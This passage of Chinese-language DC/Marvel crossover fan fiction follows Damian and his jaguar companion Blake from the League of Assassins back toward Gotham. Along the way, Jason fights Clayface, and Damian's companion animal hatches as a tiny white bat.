“这里是刺客联盟。”达米安告诉它，“以前父亲也在这里接受过训练，很久以前。” “喵~喵呜？”所以这里也是你的诞生地，那么，已经到哥谭生活的你，又为什么要回到这片黄沙中呢？ 达米安听出布莱克叫声里的疑惑，啧了声。 “我跟他们吵翻了。” 布莱克：？ ？ ？ 布莱克：…… 这个“他们”指的多半是迪克和提姆，可能还有个杰森，以及其他蝙蝠家族的成员。 所以…… 达米安这是又离家出走了？ ？ ？ 第96章 达米安默默看着布莱克围着自己转,嘴巴里喵呜喵呜的叫唤。 “不是，离家出走。我是在伸张属于自己的权利。”小屁孩有自己的想法，并说的头头是道, “作为罗宾, 蝙蝠侠不在的情况下, 我当然有单独行动的资格。” 布莱克：……不, 你没有。 布莱克把脑袋钻进达米安的背包里,这家伙有个双肩包,里面装着一点应急食物,以及两瓶水，还有些防身的工具,看起来随时都可以离家出走,再一次的。 在这里布莱克找到一张地图。 它将地图摊开,摆在达米安面前，让达米安将他们现在所处的位置指给它看。 达米安看了一眼这附近的地图，默默起身, 拿来另外的地图。 “这里是哥谭。” “这里是我们所在的位置。” 布莱克：…… 大猫猫看着新地图上“世界地图”的字样，陷入沉默。 居然，这么远的？ 这下如何返回成了个棘手的问题。 布莱克盯着地图，然后扭头看向达米安：“喵呜？”你小子怎么跑这么远的？ 不愧是蝙蝠侠的崽。 正常孩子离家出走如果没有遇到拐卖，聪明的一般是去朋友家之类的，不聪明的可能会选择交通工具，去往一个完全陌生的地方,把自己的死活交给随机性和陌生人的善良。 达米安应该是个聪明的孩子。 所以他回到自己母亲这边，可他母亲又疯得很, 会往死里揍娃。 这就显得他回来的举动也没那么聪明。 布莱克思考片刻，意识到了事情的关键：“喵？”你不会是被她绑架回来的吧？准确说是她去哥谭抓你, 而你刚好想要离家出走，就干脆以此为理由，让她真的把你绑走了？ 达米安：…… 这么一长串喵喵喵真的很难完全听懂，可他还是隐约感觉到，事情的真相已经被布莱克踩在脚底。 达米安面瘫了。 他不说话，那表情却是将“认罪但不悔改”写在了脸上。 至于达米安为什么会和兄弟们闹翻，又跟塔利亚跑路到刺客联盟来，原因也很简单，交汇发生后达米安和杰森分头开始调查交汇现象。 而迪克和提姆则按照蝙蝠侠的指令阻挠他们对交汇现象进行任何方面的调查活动。 于是理所应当的，他们双方之间生出“一点点”的不愉快。 同时达米安和杰森也并非一队成员，他们俩各自为营，现在杰森应该还在哥谭，达米安则是考虑到刺客联盟以及自己爷爷的特殊性，想着也许这里会有什么线索，所以装作顺从，和塔利亚一起回到联盟。 布莱克：…… 它算是发现了，蝙蝠家的兄弟阋墙十有八九都是这样开场的。 “蝙蝠侠”。 这货必须重点圈起来。 “哇呜？”回去吗？ 布莱克问，带着询问的叫声，加上邀请的含义，再配合大大的猫肉垫按在地图上哥谭的位置，达米安立刻明白了布莱克的意思。 它在用十分人性化的方式邀请达米安和自己一起返回哥谭。 达米安却拒绝了。 “不回去，我还有事情要研究。” 他要研究交汇的事情，虽然这次布莱克顺利回来了，可交汇又不是一锤子买卖，它被定义为自然现象，这就意味着它还会再次发生，在任何一个时刻，不受控制，不可预知，从他身边夺走他的毛茸茸…… 达米安无法允许，绝对忍不了这个！ 他用手心抚摸着大猫猫宽宽的脑袋壳子。 “我会保护你们的。” 布莱克昂头看着达米安。 嗯…… 能感觉到这家伙要搞事情呢。 其实达米安来到刺客联盟也没有几天，所以才会和塔利亚一起出现在拉撒路之池，大概可以理解为一种带着继承人巡视未来地盘的行为。 也就是说，达米安的调查计划还没正式开始呢。 本来达米安是打算安分两天，麻痹一下塔利亚的神经，等塔利亚相信他这次就是回来补充训练计划，并且真的是开始讨厌蝙蝠侠的那一套，不会再返回哥谭。 那时候塔利亚多半会放松防备，也就是达米安展开行动的最佳时机。 只是计划赶不上变化：布莱克出现了。 达米安不放心大猫猫留在刺客联盟，鬼知道那群神经病会不会把布莱克当做练习的靶子，虽然布莱克十分强大，不会轻易地被打倒，可这也不意味着布莱克该受那份罪。 为了防止布莱克受到波及，达米安决定今晚就去调查刺客联盟的禁书区，如果一切顺利，天色蒙亮的时候他就能带着布莱克离开这里。 布莱克听着达米安小声说着的计划。 简单说就是……他没有计划。 干就完了。 大猫猫合上眼睛。 这娃，真不是隔壁纽约斯塔克家走丢的崽子吗？ 达米安是个想到说到就非要去做到的性子，更何况这个计划在他心里已经成型了好几天，根本没有半途而废的可能性。 为了他的安全考虑，布莱克决定跟他一起行动。 作为继承人，达米安足够了解刺客联盟的一砖一瓦，这是个好消息，他们能更轻易地找到他们的目的地，而不是要从调查情报开始。 只是，有时候大猫猫也会疑惑，是不是每个图书馆都有一个禁书区？ 韦恩家有，这里有，奇迹所在的圣所好像也有，就连锈斑猫所在的纽约大厦的数据库里也有访问限制区域。 大家都有点东西需要标注为“禁忌”不让他人去看，这点布莱克可以理解。 问题在于：为什么一定要标一个“禁书区”？ 就这么放在那里，恨不得所有听到这个名字的生物立刻明白，这地方肯定藏着什么不得了的东西。 太奇怪了不是吗？ 大猫猫不懂。 大猫猫觉得人类特别奇怪。 如果它要藏某种东西，肯定挖个坑埋掉，越深越好，表面修的一点都看不出来这里曾经被挖开过，直到某一日布莱克决定将这东西取出来之前，它都绝不会回来。 这才是正确的藏东西的方式，布莱克如此坚信。 不过，在这里布莱克有一个误区：放在禁书区里的东西并不是要藏起来的东西，只是不让未经允许的人进去，而布莱克常常属于“不被允许”的范围内，所以误以为这地方就是藏东西的。 猫猫的惯性思维呢。 达米安听着大猫猫在那喵喵喵，猜着布莱克都在表达什么，并因此而忍俊不禁。 他抱住大猫，埋胸口。 吸—— 此时，他们已经在“禁区”的门口，守卫被布莱克和达米安合力打晕，这里暂时是安全的，他们短暂停留，然后一起钻了进去。 刺客联盟的首领拉尔斯·艾尔·古尔是个在很多意义上都可以被称作为怪物的家伙。 接着拉撒路之池赋予的复活和重返青春的能力，这家伙成了个不死的疯子，甚至“拉尔斯·艾尔·古尔”这个名字，也是他给自己的，意为“恶魔之首”。 粗略估计中，这人已经活了七百多年，一生收集的东西无数，有宝藏，也有各种珍贵的资料。 既然“交汇”是自然现象，就必然不可能只在近代发生这么几次。 达米安相信在刺客联盟一定能找到一些更古老的，更详细的记载。 大猫和人又往前走了一段，布莱克嗅到古老时间留下的气息，它停下脚步，扭头看向达米安，达米安立刻明白这是布莱克的信号，于是独自在书架上翻找，寻找可疑的目标，布莱克则留在这进出必经的通道处，躲在阴影里给达米安放哨。 “布莱克？” 这时，布莱克听到自己脑子里突然出现属于小红的声响。 “我们回到哥谭了，你在哪里？” 作为通讯兵，小红的能力在这次交汇后也有了提升，它好像变成双向的了？当布莱克在脑子里想“我也没办法告诉你啊”的时候，那声音也传递给了小红。 “我能听到哦！”小红唧唧啾啾的在布莱克脑子里叫唤。 “我在达米安身边，”布莱克说到，“很快就要回去了，大概……可能还要几天吧。” “嗯？”小红那边似乎愣了一下，“可是达米安在我边上？交汇将我们送到哥谭，就在刚才，我们发现了在街上的达米安，就直接过来找他了……” 怎么一转眼达米安却在布莱克身边？ 布莱克：？ 布莱克：“不可能，达米安在我身边。” 小红：？ 小红迷茫了。 布莱克不仅是嗅觉超群，拥有良好的夜视能力，还拥有精神屏蔽，这就让任何人或者生物骗到它的可能性都无限接近于零。 那就是……自己这边？ 可这就是达米安啊。 小红看向极乐鸟，发出困惑的叫声。 见小红这幅模样，极乐鸟也有些疑惑，作为通讯兵而不是精神能力者的小红不能像馍馍和薇薇那样建立群聊，而它们交汇过来后精神链接就断了，估计是交汇的时间不一致，连接没能跟上。 小红所创造的单聊频道无法被第三方听见，极乐鸟不知道它和布莱克说了什么，只能等小红转述。 “叽啾……”怎么说呢…… 没等小红想清楚该怎么说清楚这个有些诡异的情况，同样被交汇直接送回哥谭的大红出现了，它是先看到的小红和极乐鸟，对它们略略点头，然后一扭头就看到了达米安，穿着罗宾装备的达米安站在那边，看着两只在自己身边唧唧啾啾的鸟，和这只突然出现的大狗。 下个瞬间，捷克狼犬没有任何犹豫的，直接就冲了上去。 一口锁喉。 男孩的模样瞬间崩塌开来，字面意义上的土崩瓦解。 “叽啾！！！”泥面！ 第97章 捷克狼犬和泥面缠在一起。 字面意义上的。 泥面像是包饺子那样将捷克狼犬密不透风的裹在其中,在大红不断的挣扎下，那些泥浆也在上下翻滚，反复撑直拉长又快速回收。 对付泥面最有效的杀器是硬化剂, 现场三只小动物谁也变不出这个。 小红立刻联系上提姆和迪克, 却得知现在迪克并不在哥谭。 而提姆…… 提姆在韦恩塔加班。 这意味着什么？ 意味着红罗宾释放失败。 小红昂头望天,那边极乐鸟正在俯冲干扰,试图将泥面的注意力吸引到自己身上,那些泥土受到刺激,追着极乐鸟往天上去。 泥面并没有飞行能力,只能通过不断堆叠的方法，才能将身体的一部分送往高处。 这让他能到达的高度变得十分有限, 每次极乐鸟都能有惊无险的逃开。 而小红这边, 它呼叫了杰森。 迅速通报地址后, 杰森仅用5分钟就赶到现场。 从楼顶飞跃而下的摩托与极乐鸟擦肩而过，黑色蓝纹的小鸟战斗机那般旋转身体，双方完美错开。 下落的摩托后轮重重砸在泥面身上,将他从大红身上铲出去。 大红也很清楚该怎么与杰森配合，就地一滚，随后疯狂甩毛，将可能残余的泥面全都抖到地上去。 地面上的泥面在失去目标后便开始聚集。 在它们凝聚成团的瞬间，杰森丢了一枚硬化弹。 从接触到硬化弹的位置开始，活性开始迅速从泥面身上衰褪，就好像火掠过山林,将所有生命的迹象尽数抹去。 泥面变成凝固的一滩，看起来就像是个抽象的艺术雕像。 大红跑到杰森脚边,见杰森抬手让开空间，它立刻一个纵身跳到杰森的大腿上,坐稳后高高昂起脑袋，往红头罩上蹭过去。 它想杰森了。 吐出舌头，疯狂摇尾巴，再给红头罩来一个口水浴。 这模样在捷克狼犬身上可不常见。 杰森立刻将大狗搂在怀里，揉它的后背，然后是前胸，上下快速撸动，帮狗狗发泄过度兴奋的情绪。 “好孩子，冷静，乖宝，冷静一点，乖。” “汪！” 在杰森的安抚下，大红迅速从那种过度亢奋的状态中退出来，它找回自己的理智，又给杰森蹭了蹭，将脑袋埋到他怀里呼吸，再之后，大红恢复了常态。 极乐鸟落下来，站在杰森的红头罩顶部，低头叽啾：我觉得，它平时的样子更像狼，刚才那样反而才像是条狗勾。 “它像什么都行。”杰森毫不在意。 现在要做的是将这一坨东西铲起来，杰森要回去取储存装置，他将硬化弹交给大红，这东西是专攻泥面的，要用的时候抛过去就行，不需要提供很大的冲击力，大狗狗也能轻松使用，唯一需要注意的就是咬它的时候不能太用力，容易在嘴里咬炸了。 大红听完点点头，蹲坐在原地等杰森回来。 期间为了以防万一，小红和杰森依然保持着通讯频道。 小红看着那团硬化的雕塑，一边理毛一边八卦：“叽啾？”泥面怎么跑出来了？ “前两天刺客联盟过来搞破坏，为了引开我们，袭击了阿卡姆精神病院。” “啾？”他们来做什么？ “不确定，不过事后调查的时候，我们失去了罗宾的踪迹。” 虽然……那时候达米安已经在“离家出走中”，但时机确实有些巧合，所以大家合理怀疑，那小崽子被塔利亚绑架走了。 至于刺客联盟为什么要来绑架达米安…… 这就说来话长了。 毕竟严格来说达米安本就是刺客联盟的少主，当初刺客联盟面临分裂，作为首领的拉尔斯·艾尔·古尔也被确认“死亡”，塔利亚只有把握能保住自己，至于达米安这个原定继承人，在那些反叛者眼里，自然是纯粹碍事的存在。 “好像是为了保那个恶魔崽子，才把他送到哥谭的。” 意思就是让蝙蝠侠管一下，寄存，之后要取走的。 谁能想到达米安和哥谭的相性意外的好，还和大都会明日之子的孩子小乔交了朋友，又在少年泰坦认识许多伙伴。 等拉尔斯·艾尔·古尔复活，塔利亚来取回寄存的达米安，结果回收失败。 达米安不乐意回刺客联盟。 “不知道你们去玩的那个平行是什么情况，我们这个宇宙，哥谭和刺客联盟的梁子就是这么结下的。” “啾啾~”我们去的地方好像没有刺客联盟这个组织。 “那有我么？” “啾~”也没有~ 这样啊。 杰森毫不意外。 看大红想他想成那个样子杰森就知道，那个平行一定没有自己的存在，可能都没几个大红认识的人类。 “迪克？” 也没有。 “不能连蝙蝠侠都没有吧？” “……啾？”算……有吧？ 虽然不是布鲁斯·韦恩，但那确实是蝙蝠侠。 愉快的聊天中，工作顺利完成，小动物们成功返回蝙蝠洞，看守这里的是老管家阿福，大红特别高兴的蹭了过去，主动抬爪爪给老管家擦爪子。 得知蝙蝠侠也没有出现后，两只鸟互相看看。 小红试着给蝙蝠侠拨去电话。 “Bat？” 对面一片静默。 感觉明明是连线成功，对面却毫无回应。 估计是在忙吧。 这对蝙蝠侠来说也是常态了。 韦恩大厦里，提姆一边加班一边在小红能力的帮助下跟小红煲电话粥。 “所以他已经成功返回，只是不知道去了哪里。” “对，而且布莱克还没有和他在一起，不然以蝙蝠侠的性格，肯定会利用布莱克的精神屏蔽来阻止我对他进行连接吧。” 瞒着所有人单独进行不知名的行动，这是蝙蝠侠的常规状态，不用担心。 提姆问起别的事情。 “布莱克在哪？” “和大米在一起~” “地点？” “一个叫做刺客联盟的地方。” 正在核对一大堆超长数据的提姆动作一顿，短暂走神，想着怎么把他们俩弄回来，以及布鲁斯又有可能刷在哪里？ 等他回过神来，却突然发现自己不确定刚才核对到哪一行了。 “呃、啊。” 提姆发出两声没意义的动静，继续干活。 凌晨两点，提姆火急火燎的冲进蝙蝠洞内，得知泥面已经送去阿卡姆特殊牢房，小红也同达米安再次确认行程。 并确认下达米安将会在三天后到达哥谭的信息。 恶魔崽子这么轻易松口主动返回让提姆感到意外，但一想到布莱克也在那边，就明白这是理所应当的事情。 达米安可不会让大猫猫流落在那种危险的地方。 “联系夜翼，告诉他达米安的行动线路，然后告诉达米安夜翼的撤离线路，让他走那条线回来。” 虽然达米安不太可能做出带着大猫猫游个几十海里的事情。 可……万一呢？ 提姆有些担心，并尽可能细致的安排好所有事情。 随后提姆又通过秘密线路，用红罗宾的身份联系上了复仇者联盟，以及被他们保护起来的绯红女巫和幻视，同他们确认馍馍是否安全返回。 “馍馍和薇薇都在我们这里，正抱团睡觉呢，之前跟着白葵和闪电鼠的鸮鹦鹉也顺利回来，直接刷在班纳博士身边。” 接起通讯的是成功空降斯塔克大厦的斯塔克，他告诉红罗宾，考虑到林间小屋已经完全暴露，绯红女巫和幻视也基本恢复，以后他们会继续住在斯塔克大厦，而不是继续躲藏。 红罗宾确认下这条信息。 又问了其他情报。 比如X教授的下落，以及另一个年轻的查尔斯是否返回。 复仇者也还没确认X教授的信息，斯塔克表示稍后会联系X学院询问，又貌似随意的提问： “你们那边什么情况？是老蝙蝠没回家吗？” 提姆：“……” 红罗宾没有回答，并很快挂掉通讯。 “所以，老蝙蝠离家出走了，他们家真的是上梁不正下梁歪。” 斯塔克啧啧啧。 正在研究黑胡椒和盐的幻视抬头，看了看斯塔克，看了看身旁的旺达。 旺达试图给幻视解释咸味解释到头疼，现在单手撑着料理台，叹了口气后歪头和幻视一同看向斯塔克。 台面上还趴着同样在研究胡椒粉和盐的薇薇，这只圆圆的鸭嘴兽抬起脑袋，盯住斯塔克，就在斯塔克一头问号的时候，他发现薇薇边上的馍馍居然摆出和薇薇一模一样的动作，也在看着自己。 “？”斯塔克不明所以：“你们干嘛？” “你刚才说，上梁不正下梁歪？”旺达饶有兴致的重复这句话。 多纳滋走到旺达脚边，坐下来，对着斯塔克摇了摇头，看起来无奈的很，然后和帕夫一起默默注视斯塔克。 那神情倒是与谴责无关，只是单纯的……无奈？ 于是斯塔克脑袋上的问号又追加了几个。 什么情况？ 这次他们没等斯塔克开口询问。 整齐一划的扭头，同时将视线落到房间的另一侧，也就是冰箱的方向。 蹲在冰箱门前探头探脑思考怎么不动声色开冰箱门拿到一份甜甜圈的塔塔突然被Cue ，好几个目光同时看过来，直接让水獭汗毛倒竖。 “嘤……？” 十分无辜的塔塔抬起脑袋，左右看看。 一脸的塔塔很乖。 塔塔还是宝宝。 第98章 为了和夜翼安全的搭上线, 达米安花了不少时间。 主要是神不知鬼不觉的离开刺客联盟这点实在是过于困难，他又不想拖着一屁股追兵冲向夜翼，搞得他好像个照顾不好自己的小宝宝。 当夜翼以空中飞人格雷森家族成员的身份出现, 并在一座沙漠城市里看到仿佛来度假旅游的达米安时还愣了一下。 这小子完全是副无事一身轻的样子。 迪克看了看达米安身后。 还真的没有追兵。 再看看达米安骑着的…… “你还真宠他啊。”迪克无奈的说道。 驮着达米安的美洲豹无辜的看着迪克,完全不觉得自己的做法有什么问题。 带崽不就是这么带的么？ 能叼着就叼着,能驮着就驮着。 总之,必须尽可能贴身携带,防止丢失。 迪克：“嗯……布莱克意外的很会带孩子呢。” 布莱克昂起脑袋, 那左右甩动的大尾巴却暴露出它的忍耐已经接近极限的事实。 达米安这个熊孩子啊, 一般猫猫可真的吃不消。 迪克翻出护照和其他身份证件交给达米安，这里距离哥谭实在是太远,就算是蝙蝠飞机也需要补给站,在不浪费联盟资源的前提条件下使用蝙蝠飞机有些冒险,所以夜翼提供了一个更安全，但略有些费时间的项目——利用哈利马戏团的伪装返回。 “正好其实你也没有多么的想要立刻回到哥谭，对吧？” “你让我给你的马戏团打工？”达米安脑壳上冒出一个小小的青筋。 好大哥对达米安眨眨眼睛：“可这也是你喜欢的工作, 不是吗？要是早上两年，我还不敢给你这个呢，那时候你一看就没到合法年纪，现在好多了。” 也是达米安身高长的快，明明15岁而已，看起来已经是人高马大。 视作18岁也没有问题。 对此，达米安冷哼一声, 表示还算满意。 狮子老虎熊各种动物。 环球演出。 达米安只需要尽情的吸小动物，并且保证自己不会再次“离家出走”就好了。 布莱克也能远离危险环境, 只要不出现在人前，呆在达米安和迪克的帐篷里, 也不需要委屈在笼子里生活。 达米安想了想，觉得这个方法不错，总比他带着布莱克游泳回去合适。 布莱克也没有意见。 随后他们正式加入哈利马戏团这个大家庭。 达米安完全是鱼归大海，快乐的不知今夕是何年，让迪克意外的是布莱克也适应的不错，本来迪克还担心帐篷对于布莱克来说过于狭小，无法尽情活动的美洲豹可能会闹脾气，却没想到，原来布莱克才是他们全家除了阿福以外脾气最好的那个。 三天下来不仅没有搞事情，还会在晚上哄着想要出去“探险”的达米安一起睡觉不要乱跑。 有了布莱克的帮助，迪克带着达米安到处巡演的日子过的简直舒服过了头。 他们离开沙漠，在世界各地巡回，最后的目的地才是哥谭。 达米安非常满意，迪克也是。 “就好像我真的有了一个贴心可爱的弟弟。” 温暖的午后，阳光下柔软的草坪上，迪克将脑袋枕在布莱克的腹部，舒服的说道。 躺在布莱克胸口的达米安爬起来，探头盯着迪克的脑袋，阴森森的问：“你是对我有什么意见吗？” 迪克翻了个身，面对达米安：“你之前不是问我，林中小屋到底是谁建的吗？” “查到了？”达米安立刻来了兴致。 “就是绯红女巫自己。” “这个我知道，我是说结界……” “也是她。” “安排的人……” “还是她。” 达米安：“……？” 达米安：“不可能，她那时候的表现明显不是那种对事情尽在掌握的态度，她绝对是被人安排在那里的。” 达米安的第一怀疑对象就是复联的人，可复联的帮手中关于魔法倾向的人员十分有限。 确实，最可能的就是绯红女巫。 可她当时那个状态，真的有可能是她吗？ 但迪克确实没有必要在这件事情上面说谎，毕竟这事情已经结束了，绯红女巫、旺达带着馍馍和薇薇全都搬回复仇者联盟。 “她在躲避什么？”达米安问出另一个自己好奇的事情。 “据说是，她自己。本来没有必要的，但是既然幻视还活着，就要小心一点。” “……小心，谁？” “她自己。”迪克再次重复这个答案。 这似乎要扯到无限平行宇宙的一些事情，交汇触及到某种危险的情况，旺达干脆将自己和幻视藏了起来。 九头蛇也好，其他认为幻视危险的人也好，试图从中获利的人也好。 这些人不过只是顺手的事情。 旺达在提防的，一直都是平行宇宙的其他旺达。 其他平行宇宙中的旺达似乎…… 她们的情况十有八九都说不上是稳定。 当时间的扭曲和空间的隔阂同时存在，“宇宙”本身的点位就会出现异常，在林间小屋的时候，他们并非完全存在于这个平行宇宙，也不存在于任何平行宇宙。 利用这样的机制就能隔绝那些危险的窥探者。 “她确实有点小疯，但也没到这个地步？” 达米安嘀咕着，不过转念一想，这种担心大概不是空xue来风，不然复仇者那些人不太可能同意旺达就此隐居将自己关在一处小屋里。 如果这担心有什么实际意义，那会是什么？ “那个绯红女巫，自己在无意间窥探到了其他平行的自己吗？”达米安说出自己的猜测。 没有证据，只是跟着可能的逻辑链纯猜。 这种有点抽象、完全不靠谱的猜测方式，在他们这个被命运戏耍的，见了鬼的世界里，却往往能命中事情的真相。 “只能说有这个可能性。”迪克耸肩，这方面他也拿不到具体情报。 而且，在其他平行宇宙中，就连超人这样的存在都有可能是奴隶或者独裁者，如此看来，旺达的担心完全是合理的。 ” 无论多少个平行宇宙，始终如一未曾堕落的灵魂真的存在吗？ 达米安突然想到这个问题，不知为何，他看向迪克。 “嗯？”迪克看了回去。 “在其他平行，我们还会是兄弟吗？” “为什么不是呢？”迪克笑着，伸长手臂，揉了揉青少年的脑袋，“因为一些巧合未曾相遇的情况也就算了，只要我们都是蝙蝠家的鸟崽子，为什么不是兄弟？” “也是。” 达米安嘟囔着，昂头倒回布莱克的胸口上，而布莱克已经睡得打起了小小的咕噜。 达米安就去扒拉大猫猫的眼皮，果然刚扒开就和布莱克对上视线。 “装睡，被我抓到了吧。”达米安一脸嘚瑟。 猫睡着的时候会把瞬膜也一起闭上，眼皮扒开能看到一层白色的膜，如果扒开直接看到水汪汪的大眼珠子，那肯定是崽崽装睡。 “喵呜。”明明是你们把我吵醒的。 谁在这躺着还要做两个大号熊孩子的枕头，听他们念念叨叨，然后还能睡得着的？ 布莱克打着哈欠抱怨，看起来不太乐意的模样。 达米安却不在意，布莱克如果真的不乐意，早就把他们两甩到地上去，自己一扭头直接跑路了。 完全不怂的达米安不仅没有“认错”，还把布莱克的一只大爪子强行征用，拉到自己腹部当做被子来用。 温暖的大肉垫。 这世界上不会再有比这更完美的毯子了。 达米安美滋滋的想着。 想着，并且犯困。 天阴了，刺眼的阳光退去，但周围还是暖洋洋的，加上大猫猫的呼噜声，实在是过于安逸舒适。 “喵呜。”不要在草地上睡觉。 迪克听到布莱克在劝他们回帐篷里，去床上睡觉，草地上可能有虫子什么的。 但太舒服了，迪克不想动弹，达米安大概也是同样的情况，有布莱克放哨，他们什么都不用担心，就这么一起睡了过去。 他们睡了好久。 今天晚上马戏团没有开门营业，大家都各自找事情放松，期间也有些人路过附近，看到新来的那只寄存在他们这里的大黑豹子守着两人，就没有来打扰他们睡觉。 达米安和迪克先后醒来时，发现天上已经坠满了星星。 “我们睡了多久？”达米安打着巨大的哈欠问。 迪克懵了一会，左右翻找，没找到手表，手机倒是有带，但是没电了。 达米安也翻出自己的手机来看，果然也没电了。 “至少睡了6个小时吧。” 根据手机没电的情况，达米安猜测。 “喵。”8个小时。 布莱克告诉他们。 “八个小时？”达米安不可思议的反问：“怎么可能？这是我两天的睡眠时间。” 他可是一天只需要睡4个小时的存在！ “喵呜？”也许你只是太舒服了。 这话听着很有道理，大猫猫身上软软的热乎乎的，特别好睡。 达米安被布莱克说服。 “嗯……倒是有可能。”他妥协了，“八小时就八小时吧。” “喵……”八小时才是健康…… 嗯？ 布莱克突然反应过来，大猫猫高高抬起猫脑袋，看着还在那哈欠连天，疑似睡多了脑子有点儿迟钝的达米安。 好像……不太对劲？ 布莱克看向迪克。 迪克也反应过来，他正坐在地上扒拉自己的乱毛，此时转过身子，和布莱克一起盯着达米安看。 达米安：？ 达米安被他们看得一个激灵，警觉起来，问：“干嘛？” “没……就是……”迪克不确定的反问：“你刚才……是不是听懂了布莱克说的什么？不是那种能理解猫语的情况，而是确确实实的听懂了，包括具体的数字？” 迪克这么说的时候，达米安才反应过来。 他刚才好像确实……听懂了？【你现在阅读的是魔蝎小说 moxiexs】 【全文完结】 第99章 大猫猫的爪子和胸脯能算作被窝吗？ 算了, 不重要。 布莱克则低下脑袋看着自己厚厚的大爪子下面。 好像有个东西在蠕动。 似乎是毛茸茸的，爪感很不错的…… 什么东西。 关于达米安的伴生会是个什么东西，大家都有无数猜测,获得投票最高的一直是猫猫,而且是纯黑的猫猫,那种看起来就跟布莱克是父子关系的小黑猫。 贼凶, 到处哈气, 但喝奶的样子超级可爱的那种。 又或者是狗勾。 提图斯那样的大丹犬, 又或者ACE那样的德国牧羊犬。 不然就……也是只小鸟宝宝。 可可爱爱的黄球或者黑色的球球。 又或者贼凶的猛禽。 万事皆有可能, 不是吗？ 只是确实没有想到孵化出来的东西会这么小。 这么……小。 小到布莱克的爪子都不能好好的按住它，就算努力合拢爪子之间的缝隙,依然会被它从缝里面钻出来的……那种小,整体看上去也就三、四厘米那么点儿…… “这是……什么？”迪克探头过来。 他好像无法理解自己看到了什么,一脸迷茫的问。 布莱克也在看这只趴在自己爪子上的小东西，太小了，它的眼睛都没办法对焦。 圆嘟嘟的白色麻薯团子,上面点缀着一点点奶油嫩黄的颜色，小小一只，小孩子吃的话，可能一口一个吧。 对于布莱克来说，则是根本不够塞牙缝的。 实在有些离谱的大小加上猪鼻一样可爱的模样，倒是让人一眼看着就觉得可爱，就是这生物有点儿冷门了,达米安都认不出来，最后还是迪克拍了图片上网搜索,这才找到这只小东西的名字。 “洪都拉斯白蝙蝠。好长……” “唧。” 小东西发出微弱的叫声，没什么明确意思,大概就是表达一下自己的存在感。 “奶黄包”。 迪克决定就这么叫这小东西了。 它的孵化者达米安正在想更正式的名字，暂时还没有思路，在那之前，这小家伙就是奶黄包了。 和所有刚诞生的小动物一样，奶黄包有些微妙的懵懂，比起达米安，反而是跟布莱克关系更加紧密，仿佛能认出布莱克的孵化者就是达米安的亲生父亲一般。 达米安拿来菜叶子喂它，它就抱着一顿啃啃，但还是赖在布莱克身边不离开。 尤其是到了晚上睡觉的时候，无论如何都要爬回布莱克爪子下面去。 布莱克无语的看着自己的大爪子，都不敢完全放松，生怕一不小心把奶黄包给压成一片奶黄饼干。 迪克看着就忍不住笑出声，问达米安：“难不成……你认床？” “谁会认床睡不着觉啊！”达米安瞬间炸毛。 炸毛的达米安抽刀对着迪克就砍，也是布莱克躲得快，不然免不了被殃及池鱼削掉两根胡须或者尾巴毛。 …… “洪都拉斯白蝙蝠吗？” 蝙蝠侠在内线里确认了达米安的伴生动物。 在成功交汇后，蝙蝠侠先去了一趟复联确认绯红女巫和幻视的情况，以及他们的伴生动物馍馍和薇薇。 薇薇，也就是那只会拟态的鸭嘴兽，不出意料的是幻视的伴生动物。 因为它诞生在幻视“死去”的时候，没有和孵化者取得正常链接，加上幻视是半生化人，不是严格意义上的生物，这才导致薇薇的各种异常，交汇后更是失去记忆，不记得自己的情况，也不确定自己的孵化者是什么情况。 一系列情况堆积下来，造成的负面影响非常麻烦，而且难以逆转。 现在他们能做的，也只有将薇薇放在幻视身边，让他们重新培养感情，从而再次构架孵化者与伴生动物之间的紧密状态。 “需要不少时间吧？”迪克自言自语似的问。 秘密通讯线路对面的老蝙蝠只是十分吝啬的回给他一声“嗯”。 在链接修复完成之前，幻视和薇薇轻易不会离开复仇者联盟，而旺达和馍馍自然是要陪着他们的。 随后蝙蝠侠还和圣所取得了联络。 X教授是如何获悉交汇秘密的？关于这个问题，去问奇异博士是最恰当的，他的伴生犬奇迹在这次事件中参与度过高，让蝙蝠侠想不怀疑到他头上都难。 甚至旺达能早早接触到平行世界得知那些不好的信息，并架设林中小屋作为防御体系，其中也少不了奇异博士的手笔。 “他是在孵化出奇迹之前就开始行动了吗？” 迪克本以为这一切都是由伴生动物引起的蝴蝶效应，现在看来似乎也不全是。 几年前，有外星人过来袭击地球的时候奇异博士就做出过行动，窥探无数平行中那不可计数的路径，也许那时候他就获得了某种信息，以至于让他做出这一套选择。 奇迹更像是一个存在性特殊的便捷加速器，它能代表奇异博士的意志，同时又不是奇异博士本身，这也许帮它越过了部分法则的限制，让它能做到奇异博士做不到的事情，简单粗暴的去干涉命运本身。 “但……好像也没发生什么事情？”迪克回忆着交汇前后的变化。 旺达的危机也不算真的结束，在离开林中小屋之后的如今，她依然有可能遭遇来自其他平行宇宙的威胁，被其他平行的自己窥探到，一旦里面出现某个偏执的家伙，对方还是会入侵这个平行宇宙来毁坏或者掠夺。 好像没能在根本上解决什么问题？ 小动物们被交汇去其他平行，再回到这边…… 又改变了什么吗？ 不。 重点也不是那个吧。 迪克抬起手，特地飞来和迪克团圆的极乐鸟落在他的手指上，快乐蹦跶，迪克想着极乐鸟和自己说的那些平行宇宙中发生的事情。 “所以，确实有变化的。” 通讯对面已经挂断，迪克在那自言自语。 虽然只是弥补了一些小小的遗憾。 但被爱护着，仔细照料的伤疤，在许多的日后，也许多少会减淡一点点……吧？ 迪克无法确定。 “唧唧。”微弱的声音在天上响起，说着：我们来了，我们来了。 严格来说，蝙蝠这种生物轻易不会叫唤，特别不会唧唧叫，一般是吱哇乱叫或者发出丝丝的动静。 奶黄包的“唧唧”明显是故意搞出来卖萌的响声。 这就很奇特。 会用卖萌驯服人类的生物不该是猫科么？ 迪克看向走过来的布莱克。 这只除外，这只拒绝学习卖萌这种特殊技能，并且坚定的认为所有介绍它学习这项技能的人和小动物都另有所图。 “唧唧。”奶白带着点嫩黄的小蝙蝠扑向迪克，它并不是很会飞，几乎是连滚带爬的才勉强成功在他的肩膀上降落，立刻就因为重心不稳滚了下去，被迪克接在手心里，唧唧的叫唤：晚饭，该吃晚饭了。 小东西倒是比达米安懂事很多。 会关心哥哥的死活，也知道叫大家一起吃饭。 “伴生动物，某种角度来说能代表其孵化者的内心，是吧？” 迪克用手指逗着软乎乎的小小奶黄包。 小奶黄包努力昂起脑袋，但因为蝙蝠的身体结构，这个动作很难完成，就在那一昂一昂的，“唧？”我不知道？ 它才刚刚出生没多久，又哪里能弄懂这些复杂的事情。 它们可以是一个遥远的希望，一次妄想，一个期待。 也可以是内心的映照，梦的折射。 又或者…… 来自未知远方的祝福？ 谁知道呢。 对小奶黄包来说，那事情并不重要。 